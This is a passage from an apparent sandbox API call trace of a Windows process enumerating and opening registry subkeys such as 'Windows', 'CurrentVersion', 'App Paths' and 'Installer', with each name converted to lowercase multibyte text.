lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x226b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x226c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x226b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x226b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x226c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x226b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x226b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x226b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0140.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x226b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0140.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x226b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0140.087] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f57c | out: phkResult=0x20f57c*=0xa0) returned 0x0 [0140.087] RegCloseKey (hKey=0x24) returned 0x0 [0140.087] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x226b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x226c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0140.087] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f57c | out: phkResult=0x20f57c*=0x24) returned 0x0 [0140.087] RegCloseKey (hKey=0xa0) returned 0x0 [0140.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x226b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x226c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0140.087] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x226b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x226c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x226b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x226b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x226b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x226c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x226b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x226c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x226b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x226b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x226c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x226b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0140.088] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x226b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0140.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x226c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x226b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x226c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x226b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x226c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x226b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x226c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x226b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x226c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x226b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x226c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x226b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x226c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x226b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x226c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0140.089] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x226b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x226b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x226b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x226c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x226b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x226b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x226b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x226b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x226b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0140.090] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x226b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x226c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x226b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x226c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x226b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x226b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0140.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x226b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0140.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.091] 